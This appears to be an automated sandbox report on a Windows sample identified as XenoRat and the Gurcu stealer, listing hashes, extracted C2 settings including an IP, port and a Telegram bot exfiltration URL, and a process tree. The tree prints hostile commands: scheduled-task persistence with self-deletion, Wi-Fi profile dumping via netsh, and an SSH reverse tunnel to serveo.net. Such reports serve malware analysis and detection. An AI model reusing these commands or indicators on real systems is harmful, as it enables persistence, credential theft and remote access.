Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-09-2024 10:24

General

  • Target

    91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe

  • Size

    9.1MB

  • MD5

    1bafb4856a31ae27271fbd2ee1574a4f

  • SHA1

    b8b3649d959524df2c4e8a94434fc0de90f95005

  • SHA256

    91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

  • SHA512

    e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25

  • SSDEEP

    3072:YaHDgOV/hchoS9bFr/l2Z40o6MLKkZPDOxAWP0:YmM8/DS9bF7knxMFb7D

Malware Config

Extracted

Family

xenorat

C2

193.149.187.135

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    5000

  • install_path

    appdata

  • port

    4444

  • startup_name

    mswindow

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7935489665:AAE2XyOo-0CSgW-NXoz80QphaaOkmebwR5Q/sendMessage?chat_id=-4578472389

Signatures

  • Detect XenoRat Payload 3 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
    "C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" &&START "" "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1328
        • C:\Windows\system32\timeout.exe
          timeout /t 3
          3⤵
          • Delays execution with timeout.exe
          PID:1300
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" /rl HIGHEST /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4456
        • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
          "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1556
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2716
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:4356
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:1404
              • C:\Windows\system32\findstr.exe
                findstr /R /C:"[ ]:[ ]"
                5⤵
                  PID:4068
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1848
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  5⤵
                    PID:3104
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show networks mode=bssid
                    5⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2884
                  • C:\Windows\system32\findstr.exe
                    findstr "SSID BSSID Signal"
                    5⤵
                      PID:4776
                  • C:\Windows\System32\OpenSSH\ssh.exe
                    "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:2716 serveo.net
                    4⤵
                      PID:2580
                    • C:\Users\Admin\AppData\Roaming\manager.exe
                      "C:\Users\Admin\AppData\Roaming\manager.exe"
                      4⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:5012
                      • C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe
                        "C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe"
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:5064
                        • C:\Windows\SysWOW64\schtasks.exe
                          "schtasks.exe" /Create /TN "mswindow" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6FFB.tmp" /F
                          6⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:3764
              • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
                C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4924
              • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
                C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3660

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe.log

                Filesize

                847B

                MD5

                3308a84a40841fab7dfec198b3c31af7

                SHA1

                4e7ab6336c0538be5dd7da529c0265b3b6523083

                SHA256

                169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

                SHA512

                97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\manager.exe.log

                Filesize

                226B

                MD5

                916851e072fbabc4796d8916c5131092

                SHA1

                d48a602229a690c512d5fdaf4c8d77547a88e7a2

                SHA256

                7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

                SHA512

                07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

              • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe

                Filesize

                9.1MB

                MD5

                1bafb4856a31ae27271fbd2ee1574a4f

                SHA1

                b8b3649d959524df2c4e8a94434fc0de90f95005

                SHA256

                91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

                SHA512

                e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25

              • C:\Users\Admin\AppData\Local\Temp\tmp6FFB.tmp

                Filesize

                1KB

                MD5

                ff43295eab0b6d30700cf545b83b6a4f

                SHA1

                84dc1111c2387fe2a378ac40d5eb80755de8a833

                SHA256

                ab95865908354ee888dd2ef3dd7b39edd6174fdbd1cb049fe7b3050830640908

                SHA512

                cefb28d7e12adf06f9565df8a9c20b39f6ee9e180c168ab449d376aaa8828faa4a9276b8f1c06b6a8761a076a18dd665eb0cc28837e8c5fa617123f09f935302

              • C:\Users\Admin\AppData\Local\phgsswc3mw\p.dat

                Filesize

                4B

                MD5

                cdd96eedd7f695f4d61802f8105ba2b0

                SHA1

                35e7cf0540f95620e0021660828f96c7ea51a5f9

                SHA256

                cc9cf5d8f89bae4aff9b2a1f98bc8c5a9b380be95caf7136286adafc8bd75f5f

                SHA512

                c9063443f9bab09b0e7d09b714392ca02253d97081d5e5e39162f46e9f3f1958abb06b68c393c85b285a3c1f831790933872093e1511fc6a0e504847df15fd9d

              • C:\Users\Admin\AppData\Roaming\manager.exe

                Filesize

                51KB

                MD5

                da118f70d089dabfab1b43b4cd87db65

                SHA1

                6d7def883519e1099aa18c6ac2e1357edc7ea685

                SHA256

                7788f402faf2c2221307b0c90b7c97b2235d324abe07ec3965a6c21b33c0b70e

                SHA512

                7a78bbe0eb437bfaba85ee2513d1ccfca65b70e2e33187197d5891ddee42be453d9cadd883b171304135ee0679220e6c88c854572e41378c7968318908eaad3e

              • memory/748-0-0x00007FFE63773000-0x00007FFE63775000-memory.dmp

                Filesize

                8KB

              • memory/748-4-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

                Filesize

                10.8MB

              • memory/748-6-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

                Filesize

                10.8MB

              • memory/748-1-0x000001E61D5D0000-0x000001E61D5F6000-memory.dmp

                Filesize

                152KB

              • memory/1556-11-0x00007FFE63090000-0x00007FFE63B51000-memory.dmp

                Filesize

                10.8MB

              • memory/1556-14-0x00007FFE63090000-0x00007FFE63B51000-memory.dmp

                Filesize

                10.8MB

              • memory/5012-29-0x00000000003C0000-0x00000000003D4000-memory.dmp

                Filesize

                80KB

              • memory/5064-45-0x00000000057E0000-0x0000000005846000-memory.dmp

                Filesize

                408KB

              • memory/5064-46-0x0000000005780000-0x000000000578C000-memory.dmp

                Filesize

                48KB

              • memory/5064-47-0x0000000006290000-0x0000000006834000-memory.dmp

                Filesize

                5.6MB

              • memory/5064-48-0x0000000005E00000-0x0000000005E92000-memory.dmp

                Filesize

                584KB

              • memory/5064-49-0x0000000005DE0000-0x0000000005DEA000-memory.dmp

                Filesize

                40KB